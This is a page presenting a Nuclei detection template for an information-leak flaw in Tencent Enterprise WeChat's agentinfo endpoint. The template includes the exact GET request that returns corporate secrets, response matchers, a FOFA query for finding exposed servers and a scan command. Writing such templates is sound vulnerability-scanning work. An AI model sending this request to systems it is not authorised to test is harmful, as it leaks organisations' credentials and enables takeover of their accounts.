WeChat agentinfo - Information Exposure

ID: wechat-info-leak

Severity: high

Author: SleepingBag945

Tags: wechat,exposure,tencent

Description

There is an information leakage vulnerability in the agentinfo interface of Tencent Enterprise WeChat. An attacker can obtain the Enterprise WeChat Secret through the vulnerability.

YAML Source

id: wechat-info-leak

info:
  name: WeChat agentinfo  - Information Exposure
  author: SleepingBag945
  severity: high
  description: |
    There is an information leakage vulnerability in the agentinfo interface of Tencent Enterprise WeChat. An attacker can obtain the Enterprise WeChat Secret through the vulnerability.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/f7869eb69bad66d177a88df4cebfe584691651ce/%E5%85%B6%E4%BB%96%E6%BC%8F%E6%B4%9E/%E8%85%BE%E8%AE%AF%20%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%20agentinfo%20%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.md
  classification:
    cpe: cpe:2.3:a:tencent:wechat:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tencent
    product: wechat
    fofa-query: body="wework_admin.normal_layout"
  tags: wechat,exposure,tencent

http:
  - raw:
      - |
        GET /cgi-bin/gateway/agentinfo HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200 && contains(body_1,"errcode") && contains(body_1,"strcorpid")
          - contains(body_1,"corpid")
        condition: and
# digest: 4a0a00473045022041d55cb7d790b93a04ee91c4b0c346463331dfe7e37ddc5504d4fd9cfb242d4e02210090eb2df74e20d4a46370a6bee1783ab439e95c134f286a44d14fe5dbd8dd0099:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wechat/wechat-info-leak.yaml"

View on Github